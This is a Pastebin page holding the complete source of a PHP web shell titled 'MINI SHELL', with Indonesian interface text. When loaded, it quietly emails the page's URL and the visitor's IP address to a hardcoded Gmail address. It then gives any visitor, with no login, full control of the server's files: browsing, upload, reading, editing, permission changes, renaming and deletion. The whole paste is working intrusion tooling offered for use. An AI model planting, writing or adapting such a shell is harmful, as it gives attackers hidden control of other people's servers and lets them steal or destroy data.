Advertisement
WeaboHaxor

Mini

Sep 20th, 2019
658
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.91 KB | None | 0 0
  1. <?php
  2. @ini_set('output_buffering', 0);
  3. @ini_set('display_errors', 0);
  4. set_time_limit(0);
  5. ini_set('memory_limit', '64M');
  6. header('Content-Type: text/html; charset=UTF-8');
  7. $tujuanmail = 'gh0stexe337@gmail.com';
  8. $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
  9. $pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
  10. mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
  11.  
  12. if(get_magic_quotes_gpc()){
  13. foreach($_POST as $key=>$value){
  14. $_POST[$key] = stripslashes($value);
  15. }
  16. }
  17. echo '<!DOCTYPE HTML>
  18. <html>
  19. <head>
  20. <link href="" rel="stylesheet" type="text/css">
  21. <title>MINI SHELL</title>
  22. <style>
  23. body{
  24. font-family: "Racing Sans One", cursive;
  25. background-color: black;
  26. color:white;
  27. }
  28. #content tr:hover{
  29. background-color: blue;
  30. text-shadow:0px 0px 10px #fff;
  31. }
  32. #content .first{
  33. background-color: blue;
  34. }
  35. table{
  36. border: 1px #000000 dotted;
  37. }
  38. a{
  39. color:white;
  40. text-decoration: none;
  41. }
  42. a:hover{
  43. color:blue;
  44. text-shadow:0px 0px 10px #ffffff;
  45. }
  46. input,select,textarea{
  47. border: 1px #000000 solid;
  48. -moz-border-radius: 5px;
  49. -webkit-border-radius:5px;
  50. border-radius:5px;
  51. }
  52. </style>
  53. </head>
  54. <body>
  55. <h1><center><font color="blue">santuy yang hqq</font></center></h1>
  56. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  57. <tr><td><font color="white">Path :</font> ';
  58. if(isset($_GET['path'])){
  59. $path = $_GET['path'];
  60. }else{
  61. $path = getcwd();
  62. }
  63. $path = str_replace('\\','/',$path);
  64. $paths = explode('/',$path);
  65.  
  66. foreach($paths as $id=>$pat){
  67. if($pat == '' && $id == 0){
  68. $a = true;
  69. echo '<a href="?path=/">/</a>';
  70. continue;
  71. }
  72. if($pat == '') continue;
  73. echo '<a href="?path=';
  74. for($i=0;$i<=$id;$i++){
  75. echo "$paths[$i]";
  76. if($i != $id) echo "/";
  77. }
  78. echo '">'.$pat.'</a>/';
  79. }
  80. echo '</td></tr><tr><td>';
  81. if(isset($_FILES['file'])){
  82. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  83. echo '<font color="green">Upload Berhasil</font><br />';
  84. }else{
  85. echo '<font color="red">Upload Gagal</font><br/>';
  86. }
  87. }
  88. echo '<form enctype="multipart/form-data" method="POST">
  89. <font color="white">File Upload :</font> <input type="file" name="file" />
  90. <input type="submit" value="upload" />
  91. </form>
  92. </td></tr>';
  93. if(isset($_GET['filesrc'])){
  94. echo "<tr><td>Current File : ";
  95. echo $_GET['filesrc'];
  96. echo '</tr></td></table><br />';
  97. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  98. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  99. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  100. if($_POST['opt'] == 'chmod'){
  101. if(isset($_POST['perm'])){
  102. if(chmod($_POST['path'],$_POST['perm'])){
  103. echo '<font color="green">Change Permission Berhasil</font><br/>';
  104. }else{
  105. echo '<font color="red">Change Permission Gagal</font><br />';
  106. }
  107. }
  108. echo '<form method="POST">
  109. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  110. <input type="hidden" name="path" value="'.$_POST['path'].'">
  111. <input type="hidden" name="opt" value="chmod">
  112. <input type="submit" value="Go" />
  113. </form>';
  114. }elseif($_POST['opt'] == 'rename'){
  115. if(isset($_POST['newname'])){
  116. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  117. echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  118. }else{
  119. echo '<font color="red">Ganti Nama Gagal</font><br />';
  120. }
  121. $_POST['name'] = $_POST['newname'];
  122. }
  123. echo '<form method="POST">
  124. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  125. <input type="hidden" name="path" value="'.$_POST['path'].'">
  126. <input type="hidden" name="opt" value="rename">
  127. <input type="submit" value="Go" />
  128. </form>';
  129. }elseif($_POST['opt'] == 'edit'){
  130. if(isset($_POST['src'])){
  131. $fp = fopen($_POST['path'],'w');
  132. if(fwrite($fp,$_POST['src'])){
  133. echo '<font color="green">Berhasil Edit File</font><br/>';
  134. }else{
  135. echo '<font color="red">Gagal Edit File</font><br/>';
  136. }
  137. fclose($fp);
  138. }
  139. echo '<form method="POST">
  140. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  141. <input type="hidden" name="path" value="'.$_POST['path'].'">
  142. <input type="hidden" name="opt" value="edit">
  143. <input type="submit" value="Save" />
  144. </form>';
  145. }
  146. echo '</center>';
  147. }else{
  148. echo '</table><br/><center>';
  149. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  150. if($_POST['type'] == 'dir'){
  151. if(rmdir($_POST['path'])){
  152. echo '<font color="green">Directory Terhapus</font><br/>';
  153. }else{
  154. echo '<font color="red">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
  155. }
  156. }elseif($_POST['type'] == 'file'){
  157. if(unlink($_POST['path'])){
  158. echo '<font color="green">File Terhapus</font><br/>';
  159. }else{
  160. echo '<font color="red">File Gagal Dihapus</font><br/>';
  161. }
  162. }
  163. }
  164. echo '</center>';
  165. if(function_exists('opendir')) {
  166.     if($opendir = opendir($path)) {
  167.         while(($readdir = readdir($opendir)) !== false) {
  168.             $scandir[] = $readdir;
  169.         }
  170.         closedir($opendir);
  171.     }
  172.     sort($scandir);
  173. } else {
  174.     $scandir = scandir($path);
  175. }
  176. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  177. <tr class="first">
  178. <td><center>Name</peller></center></td>
  179. <td><center>Size</peller></center></td>
  180. <td><center>Permission</peller></center></td>
  181. <td><center>Modify</peller></center></td>
  182. </tr>';
  183.  
  184. foreach($scandir as $dir){
  185. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  186. echo '<tr>
  187. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  188. <td><center>--</center></td>
  189. <td><center>';
  190. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  191. elseif(!is_readable($path.'/'.$dir)) echo '<font color="blue">';
  192. echo perms($path.'/'.$dir);
  193. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  194.  
  195. echo '</center></td>
  196. <td><center><form method="POST" action="?option&path='.$path.'">
  197. <select name="opt">
  198. <option value="">Select</option>
  199. <option value="delete">Delete</option>
  200. <option value="chmod">Chmod</option>
  201. <option value="rename">Rename</option>
  202. </select>
  203. <input type="hidden" name="type" value="dir">
  204. <input type="hidden" name="name" value="'.$dir.'">
  205. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  206. <input type="submit" value=">">
  207. </form></center></td>
  208. </tr>';
  209. }
  210. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  211. foreach($scandir as $file){
  212. if(!is_file($path.'/'.$file)) continue;
  213. $size = filesize($path.'/'.$file)/1024;
  214. $size = round($size,3);
  215. if($size >= 1024){
  216. $size = round($size/1024,2).' MB';
  217. }else{
  218. $size = $size.' KB';
  219. }
  220.  
  221. echo '<tr>
  222. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  223. <td><center>'.$size.'</center></td>
  224. <td><center>';
  225. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  226. elseif(!is_readable($path.'/'.$file)) echo '<font color="blue">';
  227. echo perms($path.'/'.$file);
  228. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  229. echo '</center></td>
  230. <td><center><form method="POST" action="?option&path='.$path.'">
  231. <select name="opt">
  232. <option value="">Select</option>
  233. <option value="delete">Delete</option>
  234. <option value="chmod">Chmod</option>
  235. <option value="rename">Rename</option>
  236. <option value="edit">Edit</option>
  237. </select>
  238. <input type="hidden" name="type" value="file">
  239. <input type="hidden" name="name" value="'.$file.'">
  240. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  241. <input type="submit" value=">">
  242. </form></center></td>
  243. </tr>';
  244. }
  245. echo '</table>
  246. </div>';
  247. }
  248. echo '<center><br/> ara ara </center>
  249. </body>
  250. </html>';
  251. function perms($file){
  252. $perms = fileperms($file);
  253.  
  254. if (($perms & 0xC000) == 0xC000) {
  255. // Socket
  256. $info = 's';
  257. } elseif (($perms & 0xA000) == 0xA000) {
  258. // Symbolic Link
  259. $info = 'l';
  260. } elseif (($perms & 0x8000) == 0x8000) {
  261. // Regular
  262. $info = '-';
  263. } elseif (($perms & 0x6000) == 0x6000) {
  264. // Block special
  265. $info = 'b';
  266. } elseif (($perms & 0x4000) == 0x4000) {
  267. // Directory
  268. $info = 'd';
  269. } elseif (($perms & 0x2000) == 0x2000) {
  270. // Character special
  271. $info = 'c';
  272. } elseif (($perms & 0x1000) == 0x1000) {
  273. // FIFO pipe
  274. $info = 'p';
  275. } else {
  276. // Unknown
  277. $info = 'u';
  278. }
  279.  
  280. // Owner
  281. $info .= (($perms & 0x0100) ? 'r' : '-');
  282. $info .= (($perms & 0x0080) ? 'w' : '-');
  283. $info .= (($perms & 0x0040) ?
  284. (($perms & 0x0800) ? 's' : 'x' ) :
  285. (($perms & 0x0800) ? 'S' : '-'));
  286.  
  287. // Group
  288. $info .= (($perms & 0x0020) ? 'r' : '-');
  289. $info .= (($perms & 0x0010) ? 'w' : '-');
  290. $info .= (($perms & 0x0008) ?
  291. (($perms & 0x0400) ? 's' : 'x' ) :
  292. (($perms & 0x0400) ? 'S' : '-'));
  293.  
  294. // World
  295. $info .= (($perms & 0x0004) ? 'r' : '-');
  296. $info .= (($perms & 0x0002) ? 'w' : '-');
  297. $info .= (($perms & 0x0001) ?
  298. (($perms & 0x0200) ? 't' : 'x' ) :
  299. (($perms & 0x0200) ? 'T' : '-'));
  300.  
  301. return $info;
  302. }
  303. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement